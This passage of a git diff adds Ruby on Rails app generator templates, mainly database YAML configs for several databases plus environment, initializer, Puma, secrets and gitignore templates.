+# available as an environment variable. For example:
+#
+#   DATABASE_URL="mysql2://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
new file mode 100644
index 0000000000..6da0601b24
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
@@ -0,0 +1,61 @@
+# Oracle/OCI 11g or higher recommended
+#
+# Requires Ruby/OCI8:
+#  https://github.com/kubo/ruby-oci8
+#
+# Specify your database using any valid connection syntax, such as a
+# tnsnames.ora service name, or an SQL connect string of the form:
+#
+#   //host:[port][/service name]
+#
+# By default prefetch_rows (OCI_ATTR_PREFETCH_ROWS) is set to 100. And
+# until true bind variables are supported, cursor_sharing is set by default
+# to 'similar'. Both can be changed in the configuration below; the defaults
+# are equivalent to specifying:
+#
+#  prefetch_rows: 100
+#  cursor_sharing: similar
+#
+default: &default
+  adapter: oracle_enhanced
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  username: <%= app_name %>
+  password:
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="oracle-enhanced://myuser:mypass@localhost/somedatabase"
+#
+# Note that the adapter name uses a dash instead of an underscore.
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
new file mode 100644
index 0000000000..145cfb7f74
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -0,0 +1,85 @@
+# PostgreSQL. Versions 9.1 and up are supported.
+#
+# Install the pg driver:
+#   gem install pg
+# On OS X with Homebrew:
+#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+#   gem install pg
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+default: &default
+  adapter: postgresql
+  encoding: unicode
+  # For details on connection pooling, see Rails configuration guide
+  # http://guides.rubyonrails.org/configuring.html#database-pooling
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+  # The specified database role being used to connect to postgres.
+  # To create additional roles in postgres see `$ createuser --help`.
+  # When left blank, postgres will use the default role. This is
+  # the same name as the operating system user that initialized the database.
+  #username: <%= app_name %>
+
+  # The password associated with the postgres role (username).
+  #password:
+
+  # Connect on a TCP socket. Omitted by default since the client uses a
+  # domain socket that doesn't need configuration. Windows does not have
+  # domain sockets, so uncomment these lines.
+  #host: localhost
+
+  # The TCP port the server listens on. Defaults to 5432.
+  # If your server runs on a different port number, change accordingly.
+  #port: 5432
+
+  # Schema search path. The server defaults to $user,public
+  #schema_search_path: myapp,sharedapp,public
+
+  # Minimum log levels, in increasing order:
+  #   debug5, debug4, debug3, debug2, debug1,
+  #   log, notice, warning, error, fatal, and panic
+  # Defaults to warning.
+  #min_messages: notice
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
new file mode 100644
index 0000000000..9510568124
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
@@ -0,0 +1,25 @@
+# SQLite version 3.x
+#   gem install sqlite3
+#
+#   Ensure the SQLite 3 gem is defined in your Gemfile
+#   gem 'sqlite3'
+#
+default: &default
+  adapter: sqlite3
+  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  timeout: 5000
+
+development:
+  <<: *default
+  database: db/development.sqlite3
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: db/test.sqlite3
+
+production:
+  <<: *default
+  database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
new file mode 100644
index 0000000000..049de65f22
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
@@ -0,0 +1,52 @@
+# SQL Server (2012 or higher required)
+#
+# Install the adapters and driver
+#   gem install tiny_tds
+#   gem install activerecord-sqlserver-adapter
+#
+# Ensure the activerecord adapter and db driver gems are defined in your Gemfile
+#   gem 'tiny_tds'
+#   gem 'activerecord-sqlserver-adapter'
+#
+default: &default
+  adapter: sqlserver
+  encoding: utf8
+  username: sa
+  password: <%%= ENV['SA_PASSWORD'] %>
+  host: localhost
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: <%= app_name %>_test
+
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="sqlserver://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
+production:
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
new file mode 100644
index 0000000000..426333bb46
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
@@ -0,0 +1,5 @@
+# Load the Rails application.
+require_relative 'application'
+
+# Initialize the Rails application.
+Rails.application.initialize!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
new file mode 100644
index 0000000000..b75b65c8df
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -0,0 +1,61 @@
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # In the development environment your application's code is reloaded on
+  # every request. This slows down response time but is perfect for development
+  # since you don't have to restart the web server when you make code changes.
+  config.cache_classes = false
+
+  # Do not eager load code on boot.
+  config.eager_load = false
+
+  # Show full error reports.
+  config.consider_all_requests_local = true
+
+  # Enable/disable caching. By default caching is disabled.
+  # Run rails dev:cache to toggle caching.
+  if Rails.root.join('tmp/caching-dev.txt').exist?
+    config.action_controller.perform_caching = true
+
+    config.cache_store = :memory_store
+    config.public_file_server.headers = {
+      'Cache-Control' => "public, max-age=#{2.days.seconds.to_i}"
+    }
+  else
+    config.action_controller.perform_caching = false
+
+    config.cache_store = :null_store
+  end
+  <%- unless options.skip_action_mailer? -%>
+
+  # Don't care if the mailer can't send.
+  config.action_mailer.raise_delivery_errors = false
+
+  config.action_mailer.perform_caching = false
+  <%- end -%>
+
+  # Print deprecation notices to the Rails logger.
+  config.active_support.deprecation = :log
+
+  <%- unless options.skip_active_record? -%>
+  # Raise an error on page load if there are pending migrations.
+  config.active_record.migration_error = :page_load
+
+  <%- end -%>
+  <%- unless options.skip_sprockets? -%>
+  # Debug mode disables concatenation and preprocessing of assets.
+  # This option may cause significant delays in view rendering with a large
+  # number of complex assets.
+  config.assets.debug = true
+
+  # Suppress logger output for asset requests.
+  config.assets.quiet = true
+  <%- end -%>
+
+  # Raises error for missing translations
+  # config.action_view.raise_on_missing_translations = true
+
+  # Use an evented file watcher to asynchronously detect changes in source code,
+  # routes, locales, etc. This feature depends on the listen gem.
+  <%= '# ' unless depend_on_listen? %>config.file_watcher = ActiveSupport::EventedFileUpdateChecker
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
new file mode 100644
index 0000000000..d44331a888
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -0,0 +1,104 @@
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # Code is not reloaded between requests.
+  config.cache_classes = true
+
+  # Eager load code on boot. This eager loads most of Rails and
+  # your application in memory, allowing both threaded web servers
+  # and those relying on copy on write to perform better.
+  # Rake tasks automatically ignore this option for performance.
+  config.eager_load = true
+
+  # Full error reports are disabled and caching is turned on.
+  config.consider_all_requests_local       = false
+  config.action_controller.perform_caching = true
+
+  # Attempt to read encrypted secrets from `config/secrets.yml.enc`.
+  # Requires an encryption key in `ENV["RAILS_MASTER_KEY"]` or
+  # `config/secrets.yml.key`.
+  config.read_encrypted_secrets = true
+
+  # Disable serving static files from the `/public` folder by default since
+  # Apache or NGINX already handles this.
+  config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
+
+  <%- unless options.skip_sprockets? -%>
+  <%- if options.skip_javascript? -%>
+  # Compress CSS.
+  <%- else -%>
+  # Compress JavaScripts and CSS.
+  config.assets.js_compressor = :uglifier
+  <%- end -%>
+  # config.assets.css_compressor = :sass
+
+  # Do not fallback to assets pipeline if a precompiled asset is missed.
+  config.assets.compile = false
+
+  # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
+
+  <%- end -%>
+  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+  # config.action_controller.asset_host = 'http://assets.example.com'
+
+  # Specifies the header that your server uses for sending files.
+  # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
+  # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
+
+  <%- unless options[:skip_action_cable] -%>
+  # Mount Action Cable outside main process or domain
+  # config.action_cable.mount_path = nil
+  # config.action_cable.url = 'wss://example.com/cable'
+  # config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
+
+  <%- end -%>
+  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+  # config.force_ssl = true
+
+  # Use the lowest log level to ensure availability of diagnostic information
+  # when problems arise.
+  config.log_level = :debug
+
+  # Prepend all log lines with the following tags.
+  config.log_tags = [ :request_id ]
+
+  # Use a different cache store in production.
+  # config.cache_store = :mem_cache_store
+
+  # Use a real queuing backend for Active Job (and separate queues per environment)
+  # config.active_job.queue_adapter     = :resque
+  # config.active_job.queue_name_prefix = "<%= app_name %>_#{Rails.env}"
+
+  <%- unless options.skip_action_mailer? -%>
+  config.action_mailer.perform_caching = false
+
+  # Ignore bad email addresses and do not raise email delivery errors.
+  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
+  # config.action_mailer.raise_delivery_errors = false
+
+  <%- end -%>
+  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+  # the I18n.default_locale when a translation cannot be found).
+  config.i18n.fallbacks = true
+
+  # Send deprecation notices to registered listeners.
+  config.active_support.deprecation = :notify
+
+  # Use default logging formatter so that PID and timestamp are not suppressed.
+  config.log_formatter = ::Logger::Formatter.new
+
+  # Use a different logger for distributed setups.
+  # require 'syslog/logger'
+  # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
+
+  if ENV["RAILS_LOG_TO_STDOUT"].present?
+    logger           = ActiveSupport::Logger.new(STDOUT)
+    logger.formatter = config.log_formatter
+    config.logger    = ActiveSupport::TaggedLogging.new(logger)
+  end
+  <%- unless options.skip_active_record? -%>
+
+  # Do not dump schema after migrations.
+  config.active_record.dump_schema_after_migration = false
+  <%- end -%>
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
new file mode 100644
index 0000000000..56416b3075
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -0,0 +1,44 @@
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # The test environment is used exclusively to run your application's
+  # test suite. You never need to work with it otherwise. Remember that
+  # your test database is "scratch space" for the test suite and is wiped
+  # and recreated between test runs. Don't rely on the data there!
+  config.cache_classes = true
+
+  # Do not eager load code on boot. This avoids loading your whole application
+  # just for the purpose of running a single test. If you are using a tool that
+  # preloads Rails for running tests, you may have to set it to true.
+  config.eager_load = false
+
+  # Configure public file server for tests with Cache-Control for performance.
+  config.public_file_server.enabled = true
+  config.public_file_server.headers = {
+    'Cache-Control' => "public, max-age=#{1.hour.seconds.to_i}"
+  }
+
+  # Show full error reports and disable caching.
+  config.consider_all_requests_local       = true
+  config.action_controller.perform_caching = false
+
+  # Raise exceptions instead of rendering exception templates.
+  config.action_dispatch.show_exceptions = false
+
+  # Disable request forgery protection in test environment.
+  config.action_controller.allow_forgery_protection = false
+  <%- unless options.skip_action_mailer? -%>
+  config.action_mailer.perform_caching = false
+
+  # Tell Action Mailer not to deliver emails to the real world.
+  # The :test delivery method accumulates sent emails in the
+  # ActionMailer::Base.deliveries array.
+  config.action_mailer.delivery_method = :test
+  <%- end -%>
+
+  # Print deprecation notices to the stderr.
+  config.active_support.deprecation = :stderr
+
+  # Raises error for missing translations
+  # config.action_view.raise_on_missing_translations = true
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb
new file mode 100644
index 0000000000..51639b67a0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/application_controller_renderer.rb
@@ -0,0 +1,6 @@
+# Be sure to restart your server when you modify this file.
+
+# ApplicationController.renderer.defaults.merge!(
+#   http_host: 'example.org',
+#   https: false
+# )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
new file mode 100644
index 0000000000..51196ae743
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Version of your assets, change this if you want to expire all your assets.
+Rails.application.config.assets.version = '1.0'
+
+# Add additional assets to the asset load path.
+# Rails.application.config.assets.paths << Emoji.images_path
+<%- unless options[:skip_yarn] -%>
+# Add Yarn node_modules folder to the asset load path.
+Rails.application.config.assets.paths << Rails.root.join('node_modules')
+<%- end -%>
+
+# Precompile additional assets.
+# application.js, application.css, and all non-JS/CSS in the app/assets
+# folder are already added.
+# Rails.application.config.assets.precompile += %w( admin.js admin.css )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
new file mode 100644
index 0000000000..59385cdf37
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb
@@ -0,0 +1,7 @@
+# Be sure to restart your server when you modify this file.
+
+# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
+# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
+
+# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
+# Rails.backtrace_cleaner.remove_silencers!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
new file mode 100644
index 0000000000..5a6a32d371
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
@@ -0,0 +1,5 @@
+# Be sure to restart your server when you modify this file.
+
+# Specify a serializer for the signed and encrypted cookie jars.
+# Valid options are :json, :marshal, and :hybrid.
+Rails.application.config.action_dispatch.cookies_serializer = :json
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb
new file mode 100644
index 0000000000..3b1c1b5ed1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cors.rb
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Avoid CORS issues when API is called from the frontend app.
+# Handle Cross-Origin Resource Sharing (CORS) in order to accept cross-origin AJAX requests.
+
+# Read more: https://github.com/cyu/rack-cors
+
+# Rails.application.config.middleware.insert_before 0, Rack::Cors do
+#   allow do
+#     origins 'example.com'
+#
+#     resource '*',
+#       headers: :any,
+#       methods: [:get, :post, :put, :patch, :delete, :options, :head]
+#   end
+# end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb
new file mode 100644
index 0000000000..4a994e1e7b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb
@@ -0,0 +1,4 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure sensitive parameters which will be filtered from the log file.
+Rails.application.config.filter_parameters += [:password]
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
new file mode 100644
index 0000000000..ac033bf9dc
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.plural /^(ox)$/i, '\1en'
+#   inflect.singular /^(ox)en/i, '\1'
+#   inflect.irregular 'person', 'people'
+#   inflect.uncountable %w( fish sheep )
+# end
+
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.acronym 'RESTful'
+# end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
new file mode 100644
index 0000000000..dc1899682b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
@@ -0,0 +1,4 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new mime types for use in respond_to blocks:
+# Mime::Type.register "text/richtext", :rtf
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_5_2.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_5_2.rb.tt
new file mode 100644
index 0000000000..25dcddb27a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_5_2.rb.tt
@@ -0,0 +1,27 @@
+# Be sure to restart your server when you modify this file.
+#
+# This file contains migration options to ease your Rails 5.2 upgrade.
+#
+# Once upgraded flip defaults one by one to migrate to the new default.
+#
+# Read the Guide for Upgrading Ruby on Rails for more info on each option.
+
+# Make Active Record use stable #cache_key alongside new #cache_version method.
+# This is needed for recyclable cache keys.
+# Rails.application.config.active_record.cache_versioning = true
+
+# Use AES 256 GCM authenticated encryption for encrypted cookies.
+# Existing cookies will be converted on read then written with the new scheme.
+# Rails.application.config.action_dispatch.use_authenticated_cookie_encryption = true
+
+# Use AES-256-GCM authenticated encryption as default cipher for encrypting messages
+# instead of AES-256-CBC, when use_authenticated_message_encryption is set to true.
+# Rails.application.config.active_support.use_authenticated_message_encryption = true
+
+# Add default protection from forgery to ActionController::Base instead of in
+# ApplicationController.
+# Rails.application.config.action_controller.default_protect_from_forgery = true
+
+# Store boolean values are in sqlite3 databases as 1 and 0 instead of 't' and
+# 'f' after migrating old data.
+# Rails.application.config.active_record.sqlite3.represent_boolean_as_integer = true
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
new file mode 100644
index 0000000000..cadc85cfac
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+  wrap_parameters format: [:json]
+end
+<%- unless options.skip_active_record? -%>
+
+# To enable root element in JSON for ActiveRecord objects.
+# ActiveSupport.on_load(:active_record) do
+#   self.include_root_in_json = true
+# end
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml b/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
new file mode 100644
index 0000000000..decc5a8573
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/locales/en.yml
@@ -0,0 +1,33 @@
+# Files in the config/locales directory are used for internationalization
+# and are automatically loaded by Rails. If you want to use locales other
+# than English, add the necessary files in this directory.
+#
+# To use the locales, use `I18n.t`:
+#
+#     I18n.t 'hello'
+#
+# In views, this is aliased to just `t`:
+#
+#     <%= t('hello') %>
+#
+# To use a different locale, set it with `I18n.locale`:
+#
+#     I18n.locale = :es
+#
+# This would use the information in config/locales/es.yml.
+#
+# The following keys must be escaped otherwise they will not be retrieved by
+# the default I18n backend:
+#
+# true, false, on, off, yes, no
+#
+# Instead, surround them with single quotes.
+#
+# en:
+#   'true': 'foo'
+#
+# To learn more, please read the Rails Internationalization guide
+# available at http://guides.rubyonrails.org/i18n.html.
+
+en:
+  hello: "Hello world"
diff --git a/railties/lib/rails/generators/rails/app/templates/config/puma.rb b/railties/lib/rails/generators/rails/app/templates/config/puma.rb
new file mode 100644
index 0000000000..1e19380dcb
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/puma.rb
@@ -0,0 +1,56 @@
+# Puma can serve each request in a thread from an internal thread pool.
+# The `threads` method setting takes two numbers: a minimum and maximum.
+# Any libraries that use thread pools should be configured to match
+# the maximum value specified for Puma. Default is set to 5 threads for minimum
+# and maximum; this matches the default thread size of Active Record.
+#
+threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
+threads threads_count, threads_count
+
+# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
+#
+port        ENV.fetch("PORT") { 3000 }
+
+# Specifies the `environment` that Puma will run in.
+#
+environment ENV.fetch("RAILS_ENV") { "development" }
+
+# Specifies the number of `workers` to boot in clustered mode.
+# Workers are forked webserver processes. If using threads and workers together
+# the concurrency of the application would be max `threads` * `workers`.
+# Workers do not work on JRuby or Windows (both of which do not support
+# processes).
+#
+# workers ENV.fetch("WEB_CONCURRENCY") { 2 }
+
+# Use the `preload_app!` method when specifying a `workers` number.
+# This directive tells Puma to first boot the application and load code
+# before forking the application. This takes advantage of Copy On Write
+# process behavior so workers use less memory. If you use this option
+# you need to make sure to reconnect any threads in the `on_worker_boot`
+# block.
+#
+# preload_app!
+
+# If you are preloading your application and using Active Record, it's
+# recommended that you close any connections to the database before workers
+# are forked to prevent connection leakage.
+#
+# before_fork do
+#   ActiveRecord::Base.connection_pool.disconnect! if defined?(ActiveRecord)
+# end
+
+# The code in the `on_worker_boot` will be called if you are using
+# clustered mode by specifying a number of `workers`. After each worker
+# process is booted, this block will be run. If you are using the `preload_app!`
+# option, you will want to use this block to reconnect to any threads
+# or connections that may have been created at application boot, as Ruby
+# cannot share connections between processes.
+#
+# on_worker_boot do
+#   ActiveRecord::Base.establish_connection if defined?(ActiveRecord)
+# end
+#
+
+# Allow puma to be restarted by `rails restart` command.
+plugin :tmp_restart
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
new file mode 100644
index 0000000000..787824f888
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
@@ -0,0 +1,3 @@
+Rails.application.routes.draw do
+  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/secrets.yml b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
new file mode 100644
index 0000000000..ea9d47396c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
@@ -0,0 +1,32 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rails secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+# Shared secrets are available across all environments.
+
+# shared:
+#   api_key: a1B2c3D4e5F6
+
+# Environmental secrets are only available for that specific environment.
+
+development:
+  secret_key_base: <%= app_secret %>
+
+test:
+  secret_key_base: <%= app_secret %>
+
+# Do not keep production secrets in the unencrypted secrets file.
+# Instead, either read values from the environment.
+# Or, use `bin/rails secrets:setup` to configure encrypted secrets
+# and move the `production:` environment over there.
+
+production:
+  secret_key_base: <%%= ENV["SECRET_KEY_BASE"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/spring.rb b/railties/lib/rails/generators/rails/app/templates/config/spring.rb
new file mode 100644
index 0000000000..c9119b40c0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/spring.rb
@@ -0,0 +1,6 @@
+%w(
+  .ruby-version
+  .rbenv-vars
+  tmp/restart.txt
+  tmp/caching-dev.txt
+).each { |path| Spring.watch(path) }
diff --git a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
new file mode 100644
index 0000000000..1beea2accd
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
@@ -0,0 +1,7 @@
+# This file should contain all the record creation needed to seed the database with its default values.
+# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).
+#
+# Examples:
+#
+#   movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
+#   Character.create(name: 'Luke', movie: movies.first)
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
new file mode 100644
index 0000000000..1e6b9afcd2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore
@@ -0,0 +1,33 @@
+# See https://help.github.com/articles/ignoring-files for more about ignoring files.
+#
+# If you find yourself ignoring temporary files generated by your text editor
+# or operating system, you probably want to add a global ignore instead:
+#   git config --global core.excludesfile '~/.gitignore_global'
+
+# Ignore bundler config.
+/.bundle
+
+<% if sqlite3? -%>
+# Ignore the default SQLite database.
+/db/*.sqlite3
+/db/*.sqlite3-journal
+
+<% end -%>
+# Ignore all logfiles and tempfiles.
+/log/*
+/tmp/*
+<% if keeps? -%>
+!/log/.keep
+!/tmp/.keep
+<% end -%>
+
+<% unless options[:skip_yarn] -%>
+/node_modules
+/yarn-error.log
+
+<% end -%>
+
+<% unless options[:api] -%>
+/public/assets
+<% end -%>
+.byebug_history
diff --git a/railties/lib/rails/generators/rails/app/templates/package.json b/railties/lib/rails/generators/rails/app/templates/package.json
new file mode 100644
index 0000000000..46db57dcbe
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/package.json
@@ -0,0 +1,5 @@
+{
+  "name": "<%= app_name %>",
+  "private": true,
+  "dependencies": {}
+}
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
new file mode 100644
